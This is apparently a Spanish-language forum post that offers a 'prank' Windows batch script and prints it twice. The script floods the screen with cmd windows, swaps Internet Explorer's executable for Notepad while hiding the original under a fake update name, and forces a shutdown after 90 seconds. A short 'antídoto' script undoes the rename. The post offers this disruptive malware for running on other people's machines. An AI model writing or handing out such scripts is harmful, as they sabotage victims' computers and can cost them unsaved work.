Si quieres hacer una pequeña broma prueba esto:
================================================================================
@echo off
msg * Hola soy MoCKeR perdona esta LOL
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
copy c:\windows\notepad.exe c:\progra~1\intern~1\
ren c:\progra~1\intern~1\iexplore.exe KB049741.exe
ren c:\progra~1\intern~1\notepad.exe iexplore.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
shutdown -s -t 90 -c "Despitedete de tu equipo...XD" -f
================================================================================
Se abrirán unas cuantas ventanillas de cmd, pero en medio de esto se cambiara el nombre de internet explorer y no lo podras abrir.
Antidoto:
================================================================================
title Para arreglar esa vaina de internet
del c:\progra~1\intern~1\iexplore.exe
ren c:\progra~1\intern~1\KB049741.exe iexplore.exe
================================================================================
@echo off
msg * Hola soy MoCKeR perdona esta LOL
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
copy c:\windows\notepad.exe c:\progra~1\intern~1\
ren c:\progra~1\intern~1\iexplore.exe KB049741.exe
ren c:\progra~1\intern~1\notepad.exe iexplore.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
shutdown -s -t 90 -c "Despitedete de tu equipo...XD" -f
================================================================================
Se abrirán unas cuantas ventanillas de cmd, pero en medio de esto se cambiara el nombre de internet explorer y no lo podras abrir.
Antidoto:
================================================================================
title Para arreglar esa vaina de internet
del c:\progra~1\intern~1\iexplore.exe
ren c:\progra~1\intern~1\KB049741.exe iexplore.exe